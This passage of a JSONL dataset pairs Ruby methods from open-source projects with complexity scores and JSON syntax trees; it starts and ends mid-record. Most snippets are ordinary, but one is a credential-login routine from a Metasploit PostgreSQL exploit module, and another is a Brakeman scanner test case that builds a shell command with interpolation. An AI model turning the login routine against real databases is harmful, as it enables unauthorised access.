AccountLifecycleEventWorker\"]},\"perform_async\",{\"type\":\"lvar\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"new\"]}]}]}]}","id":"d49343f4-0b50-44c6-8fdc-254226c8f7df"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/rack_attack/request.rb","start_line":264,"raw_source":"def git_path?\n matches?(::Gitlab::PathRegex.repository_git_route_regex)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"git_path?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"matches?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"PathRegex\"]},\"repository_git_route_regex\"]}]}]}","id":"73e9bbc0-a4dc-44df-b37a-b09318cfbd1b"}
+{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/service.rb","start_line":272,"raw_source":"def generic_objects\n service_resources.where(:resource_type => 'GenericObject').includes(:resource).collect(&:resource)\n end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"generic_objects\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"service_resources\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resource_type\"]},{\"type\":\"str\",\"children\":[\"GenericObject\"]}]}]}]},\"includes\",{\"type\":\"sym\",\"children\":[\"resource\"]}]},\"collect\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"resource\"]}]}]}]}","id":"f2d29865-3342-4741-a331-686c304e73bc"}
+{"repo_name":"openproject","file_path":"./repos/openproject/app/policies/base_policy.rb","start_line":38,"raw_source":"def actions(wp)\n cache[wp].each_with_object([]) { |(k, v), a| a << k if v }\n end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"actions\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"wp\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cache\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"wp\"]}]},\"each_with_object\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"arg\",\"children\":[\"a\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"k\"]}]},null]}]}]}","id":"7a90d775-aa9f-4108-86b0-0b266e5c2795"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/job_artifact.rb","start_line":248,"raw_source":"def each_blob(&blk)\n if junit? && artifact_report.nil?\n build_artifact_report(status: :validated, validation_error: nil, project_id: project_id)\n end\n\n super\n rescue InvalidArtifactError => e\n artifact_report&.assign_attributes(status: :faulty, validation_error: e.message)\n\n raise e\n ensure\n artifact_report&.save! if persisted?\n end","complexity_score":20.8,"ast_json":"{\"type\":\"def\",\"children\":[\"each_blob\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"blk\"]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"junit?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"artifact_report\"]},\"nil?\"]}]},{\"type\":\"send\",\"children\":[null,\"build_artifact_report\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"validated\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"validation_error\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[null,\"project_id\"]}]}]}]},null]},{\"type\":\"zsuper\",\"children\":[]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"InvalidArtifactError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"artifact_report\"]},\"assign_attributes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"faulty\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"validation_error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"persisted?\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"artifact_report\"]},\"save!\"]},null]}]}]}","id":"ca92a50a-8e05-4ce5-91b3-8ed88237694a"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/usage/event_selection_rule.rb","start_line":93,"raw_source":"def hash\n [name, time_framed?, filter, unique_identifier_name, operator].hash\n end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"hash\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]},{\"type\":\"send\",\"children\":[null,\"time_framed?\"]},{\"type\":\"send\",\"children\":[null,\"filter\"]},{\"type\":\"send\",\"children\":[null,\"unique_identifier_name\"]},{\"type\":\"send\",\"children\":[null,\"operator\"]}]},\"hash\"]}]}","id":"b13fc871-c398-4891-b0e3-482bbab02ebb"}
+{"repo_name":"spree","file_path":"./repos/spree/api/app/controllers/spree/api/v2/platform/orders_controller.rb","start_line":132,"raw_source":"def destroy_service\n Spree::Api::Dependencies.platform_order_destroy_service.constantize\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy_service\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Api\"]},\"Dependencies\"]},\"platform_order_destroy_service\"]},\"constantize\"]}]}","id":"1950927b-94bf-46e3-beab-971113de233c"}
+{"repo_name":"discourse","file_path":"./repos/discourse/lib/second_factor/auth_manager.rb","start_line":164,"raw_source":"def allow_backup_codes!\n add_method(UserSecondFactor.methods[:backup_codes])\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"allow_backup_codes!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"add_method\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserSecondFactor\"]},\"methods\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"backup_codes\"]}]}]}]}","id":"4f4a4c16-fac0-48e9-a99e-21a9ede1844d"}
+{"repo_name":"openproject","file_path":"./repos/openproject/app/models/exports/pdf/common/view.rb","start_line":180,"raw_source":"def apply_font(name: nil, font_style: nil, size: nil)\n name ||= document.font.basename.split(\"-\").first # e.g. NotoSans-Bold => NotoSans\n font_opts = {}\n font_opts[:style] = font_style if font_style\n\n document.font name, font_opts\n document.font_size size if size\n\n document.font\n end","complexity_score":18.9,"ast_json":"{\"type\":\"def\",\"children\":[\"apply_font\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"name\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"font_style\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"size\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"document\"]},\"font\"]},\"basename\"]},\"split\",{\"type\":\"str\",\"children\":[\"-\"]}]},\"first\"]}]},{\"type\":\"lvasgn\",\"children\":[\"font_opts\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"font_style\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"font_opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"style\"]},{\"type\":\"lvar\",\"children\":[\"font_style\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"document\"]},\"font\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"font_opts\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"size\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"document\"]},\"font_size\",{\"type\":\"lvar\",\"children\":[\"size\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"document\"]},\"font\"]}]}]}","id":"cc5f0705-6496-482d-b4db-6a76419f973d"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/trigger-build.rb","start_line":215,"raw_source":"def variables\n hash = without_trigger_vars(super.dup)\n\n unless skip_redundant_jobs?\n logger.info(\"Skipping redundant jobs is disabled, skipping existing container image check\")\n return hash\n end\n\n hash.merge({\n **deploy_component_tag_variables,\n 'SKIP_IMAGE_TAGGING' => \"true\",\n 'SKIP_JOB_REGEX' => skip_job_regex,\n 'DEBIAN_IMAGE' => debian_image,\n 'DEBIAN_DIGEST' => debian_image.split('@').last,\n 'DEBIAN_BUILD_ARGS' => \"--build-arg DEBIAN_IMAGE=#{ENV['GITLAB_DEPENDENCY_PROXY']}#{debian_image}\",\n 'ALPINE_IMAGE' => alpine_image,\n 'ALPINE_DIGEST' => alpine_image.split('@').last,\n 'ALPINE_BUILD_ARGS' => \"--build-arg ALPINE_IMAGE=#{ENV['GITLAB_DEPENDENCY_PROXY']}#{alpine_image}\"\n })\n rescue TriggerRefBranchCreationFailed => e\n # raise if pipeline runs in MR that updates ref to make sure branch for trigger is created\n raise(e) if ref_update_mr?\n\n logger.error(\"Error while creating trigger ref branch, err: #{e.message}\")\n logger.error(e.backtrace.join(\"\\n\"))\n logger.error(\"Falling back to default variables\")\n without_trigger_vars(super.dup)\n rescue StandardError => e\n # if skipping redundant jobs is enabled and fetching jobs to skip failed, attempt fallback to default variables\n raise(e) unless skip_redundant_jobs?\n\n logger.error(\"Error while calculating variables, err: #{e.message}\")\n logger.error(e.backtrace.join(\"\\n\"))\n logger.error(\"Falling back to default variables\")\n hash\n end","complexity_score":66.2,"ast_json":"{\"type\":\"def\",\"children\":[\"variables\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hash\",{\"type\":\"send\",\"children\":[null,\"without_trigger_vars\",{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"dup\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip_redundant_jobs?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"str\",\"children\":[\"Skipping redundant jobs is disabled, skipping existing container image check\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"deploy_component_tag_variables\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SKIP_IMAGE_TAGGING\"]},{\"type\":\"str\",\"children\":[\"true\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SKIP_JOB_REGEX\"]},{\"type\":\"send\",\"children\":[null,\"skip_job_regex\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DEBIAN_IMAGE\"]},{\"type\":\"send\",\"children\":[null,\"debian_image\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DEBIAN_DIGEST\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"debian_image\"]},\"split\",{\"type\":\"str\",\"children\":[\"@\"]}]},\"last\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DEBIAN_BUILD_ARGS\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"--build-arg DEBIAN_IMAGE=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"GITLAB_DEPENDENCY_PROXY\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"debian_image\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ALPINE_IMAGE\"]},{\"type\":\"send\",\"children\":[null,\"alpine_image\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ALPINE_DIGEST\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"alpine_image\"]},\"split\",{\"type\":\"str\",\"children\":[\"@\"]}]},\"last\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ALPINE_BUILD_ARGS\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"--build-arg ALPINE_IMAGE=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"GITLAB_DEPENDENCY_PROXY\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"alpine_image\"]}]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TriggerRefBranchCreationFailed\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ref_update_mr?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"e\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Error while creating trigger ref branch, err: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"error\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"backtrace\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"error\",{\"type\":\"str\",\"children\":[\"Falling back to default variables\"]}]},{\"type\":\"send\",\"children\":[null,\"without_trigger_vars\",{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"dup\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip_redundant_jobs?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Error while calculating variables, err: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"error\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"backtrace\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"error\",{\"type\":\"str\",\"children\":[\"Falling back to default variables\"]}]},{\"type\":\"lvar\",\"children\":[\"hash\"]}]}]},null]}]}","id":"36cab0cd-6834-44b3-9e87-392d255df2b9"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/ci/auth_job_finder.rb","start_line":52,"raw_source":"def find_from_database_token\n if use_partition_pruning?\n partition_id = ::Ci::Builds::TokenPrefix.decode_partition(token)\n job = ::Ci::Build.in_partition(partition_id).find_by_token(token) if partition_id.present?\n return job if job\n end\n\n ::Ci::Build.find_by_token(token)\n end","complexity_score":17.2,"ast_json":"{\"type\":\"def\",\"children\":[\"find_from_database_token\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"use_partition_pruning?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"partition_id\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"Builds\"]},\"TokenPrefix\"]},\"decode_partition\",{\"type\":\"send\",\"children\":[null,\"token\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"partition_id\"]},\"present?\"]},{\"type\":\"lvasgn\",\"children\":[\"job\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"Build\"]},\"in_partition\",{\"type\":\"lvar\",\"children\":[\"partition_id\"]}]},\"find_by_token\",{\"type\":\"send\",\"children\":[null,\"token\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]}]},null]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"Build\"]},\"find_by_token\",{\"type\":\"send\",\"children\":[null,\"token\"]}]}]}]}","id":"de79970f-1e8a-4551-922e-1de510a7424e"}
+{"repo_name":"openproject","file_path":"./repos/openproject/app/helpers/sort_helper.rb","start_line":148,"raw_source":"def add(*)\n r = self.class.new.from_param(to_param)\n r.add!(*)\n r\n end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"add\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"r\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"new\"]},\"from_param\",{\"type\":\"send\",\"children\":[null,\"to_param\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"add!\",{\"type\":\"forwarded_restarg\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"r\"]}]}]}","id":"0bd434db-00e9-4289-a87c-cb561441131e"}
+{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/generators/rails/devcontainer/devcontainer_generator.rb","start_line":37,"raw_source":"def create_devcontainer\n empty_directory \".devcontainer\"\n\n template \"devcontainer/devcontainer.json\", \".devcontainer/devcontainer.json\"\n template \"devcontainer/Dockerfile\", \".devcontainer/Dockerfile\"\n template \"devcontainer/compose.yaml\", \".devcontainer/compose.yaml\"\n end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"create_devcontainer\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"empty_directory\",{\"type\":\"str\",\"children\":[\".devcontainer\"]}]},{\"type\":\"send\",\"children\":[null,\"template\",{\"type\":\"str\",\"children\":[\"devcontainer/devcontainer.json\"]},{\"type\":\"str\",\"children\":[\".devcontainer/devcontainer.json\"]}]},{\"type\":\"send\",\"children\":[null,\"template\",{\"type\":\"str\",\"children\":[\"devcontainer/Dockerfile\"]},{\"type\":\"str\",\"children\":[\".devcontainer/Dockerfile\"]}]},{\"type\":\"send\",\"children\":[null,\"template\",{\"type\":\"str\",\"children\":[\"devcontainer/compose.yaml\"]},{\"type\":\"str\",\"children\":[\".devcontainer/compose.yaml\"]}]}]}]}","id":"e2912811-121a-45d4-9f34-e497b7f7ea98"}
+{"repo_name":"brakeman","file_path":"./repos/brakeman/test/apps/rails5.2/lib/shell.rb","start_line":40,"raw_source":"def interpolated_conditional_safe\n `echo #{\"foo\" if foo} bar`\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"interpolated_conditional_safe\",{\"type\":\"args\",\"children\":[]},{\"type\":\"xstr\",\"children\":[{\"type\":\"str\",\"children\":[\"echo \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"foo\"]},{\"type\":\"str\",\"children\":[\"foo\"]},null]}]},{\"type\":\"str\",\"children\":[\" bar\"]}]}]}","id":"1833d42c-ac8d-47f5-90ff-c6e3840bc05b"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/postgres/postgres_payload.rb","start_line":127,"raw_source":"def do_login(user = nil, pass = nil, database = nil)\n password = pass || postgres_password\n vprint_status(\"Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}\") unless postgres_conn\n result = postgres_fingerprint(\n db: database,\n username: user,\n password: password\n )\n if result[:auth]\n report_service(\n host: postgres_conn.peerhost,\n port: postgres_conn.peerport,\n name: 'postgres',\n info: result.values.first\n )\n return result[:auth]\n else\n print_error(\"Login failed, fingerprint is #{result[:preauth] || result[:unknown]}\")\n return :noauth\n end\n rescue Rex::ConnectionError, Rex::Post::Meterpreter::RequestError\n return :noconn\n end","complexity_score":38.6,"ast_json":"{\"type\":\"def\",\"children\":[\"do_login\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"user\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"pass\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"database\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"password\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass\"]},{\"type\":\"send\",\"children\":[null,\"postgres_password\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"postgres_conn\"]},null,{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Trying \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"password\"]}]},{\"type\":\"str\",\"children\":[\"@\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"database\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"postgres_fingerprint\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"db\"]},{\"type\":\"lvar\",\"children\":[\"database\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"lvar\",\"children\":[\"password\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"auth\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"report_service\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"postgres_conn\"]},\"peerhost\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"postgres_conn\"]},\"peerport\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"postgres\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"info\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"values\"]},\"first\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"auth\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Login failed, fingerprint is \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"preauth\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"unknown\"]}]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"noauth\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"ConnectionError\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Post\"]},\"Meterpreter\"]},\"RequestError\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"noconn\"]}]}]},null]}]}","id":"5214d4fa-0e59-4d12-b6e3-573cface5dc8"}
+{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb","start_line":1247,"raw_source":"def remove_foreign_key(from_table, to_table = nil, **options)\n return unless use_foreign_keys?\n return if options.delete(:if_exists) == true && !foreign_key_exists?(from_table, to_table, **options.slice(:column))\n\n fk_name_to_delete = foreign_key_for!(from_table, to_table: to_table, **options).name\n\n at = create_alter_table from_table\n at.drop_foreign_key fk_name_to_delete\n\n execute schema_creation.accept(at)\n 